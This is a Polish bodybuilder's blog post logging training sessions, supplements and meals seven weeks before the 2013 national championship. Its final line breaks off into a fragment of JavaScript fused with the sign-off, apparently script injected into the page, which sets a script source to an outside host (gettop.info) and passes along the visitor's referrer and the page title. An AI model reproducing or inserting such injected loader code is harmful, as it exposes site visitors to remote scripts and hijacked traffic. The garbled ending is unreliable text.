JaBi – 7 Tygodni przed Mistrzostwami Polski 2013

4.03.2013 / Adam Jabłoński / Kulturystyka

Cześć,

Zostało 7 Tygodni i 3 dni

Wczoraj zrobiłem trening dwugłowym i czworobocznych – kapturów, po czym dałem 55 minut aerobów, barków nie robiłem ponieważ będę ćwiczył je w Niedziele.

JUTRO KLAKA , ŁYDY, AEROBY i BRZUCHOL MMMMMMmm nie moge się doczekać

Fotka z treningu mięśni palców z wczoraj :

TRENING :

NOGI :

5 min bieżnia
rozgrzewka 1 x UGINANIE PODUDZI W LEŻENIU
3 x 15/12/12/ UGINANIE PODUDZI W LEŻENIU
3 X 12/12/12 UGINANIE NOGI STOJĄC NA MASZYNIE DO LEŻENIA I UGINANIA PODUDZI
4 x 20/do bólu/do bólu/do bólu MARTWY CIĄG NA PROSTYCH NOGACH

KAPTURY :

4 x do bólu WZNOSY BARKÓW ”SZRUGSY” z odważnikami – talerzami
1 x do bólu WZNOSY BARKÓW Z HANTLAMI

AEROBY :
55 minut na bieżni

SUPLEMENTACJA :
+ Rano:
– 5 gram proszku zasadowego
– 5 gram CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 5 gram BCAA Powder
– 10 gram Glutamine Extreme
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 0,5 tab VIT-C Strong 1000
– 1 kaps MAGNE-100 Sport

+ Popołudniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Popołudniu: trochę później:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 10 gram S.A.W.
– 10gram BCAA Powder

+ Po treningu siłowym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3
– 1 tab VIT-C Strong 1000

+ Po treningu aerobowym :
– 50 gram IsoLate 100
– 35 gram Vitargo electro-energy

+ Na Noc:
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 Vitamin B Complex
– 2 kaps GABA 750

DIETA :

1 POSIŁEK :
130 gram zmielonych płatków owsianych
50 gram ISOLATE 100

2 POSIŁEK :
100 gram ryżu basmati
200 gram piersi z kurczaka
70 gram warzyw

3 POSIŁEK :
100 gram ryżu basmati
200 gram piersi z kurczaka
70 gram warzyw

4 POSIŁEK :
100 gram ryżu basmatii
200 gram piersi z kurczaka
70 gram warzyw

POSIŁEK (po aerobach) :
– 50 gram ISOLATE 100
– 35 gram Vitargo electro-energy

5 POSIŁEK (po siłowni) :
100 gram ryżu basmati
200 gram piersi z kurczaka
70 gram warzyw

6 POSIŁEK :
200 – 250 gram piersi z kurczaka

Kolejnego dnia wybrałem sie na zakupy aby uzupełnić zapasy mięsa w lodówce :

Dzisiaj wybrałem się na małe zakupy aby uzupełnić zapasy mięsa i wody do domu :

13 kg piersi z indyka
7 zgrzewek wody
kilka opakowań różnych przypraw do mięsa
2 Nestea Light
2 Pepsi Max


Trening Piątkowy :
Czyli trening klatki piersiowej oraz 55 minut aerobów
Brzuch i czwartkowe barki przekładam na Niedziele.

TRENING :

5 min bieżnia

Łydki :

4 x do bólu/do bólu/ do bólu/ do bólu z progresją ciężaru WSPIĘCIA NA PALCE W SIADZIE:
3 x po 20 na każdą nogę + 10 na obie WSPIECIA NA PALCE W STANIU

Klatka :

3 x 15/15/12 ROZPIĘTKI
3 x 15/12/10 POMPKI NA PORĘCZACH
3 x 12/10/8 WYCISKANIE SZTANGI NA ŁAWCE W SKOSIE W GÓRE
3 x 12/10/8 WYCISKANIE SZTANGI NA ŁAWECZCE PŁASKIEJ
3 x 12/12/10 WĄSKIE WYCISKANIE HANTLI NA ŁAWCE – LECIUTKI SKOS W GÓRE
3 x 12/12/10 KRZYŻOWANIE LINEK Z WYCIĄGU GÓRNEGO ale nie pochylając się aby zaangażować „dół klatki”

Parę Fotek z wczoraj :

 

 













 

Pompki na poręczach :

Pozdrawiam Hej,
Cześć} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';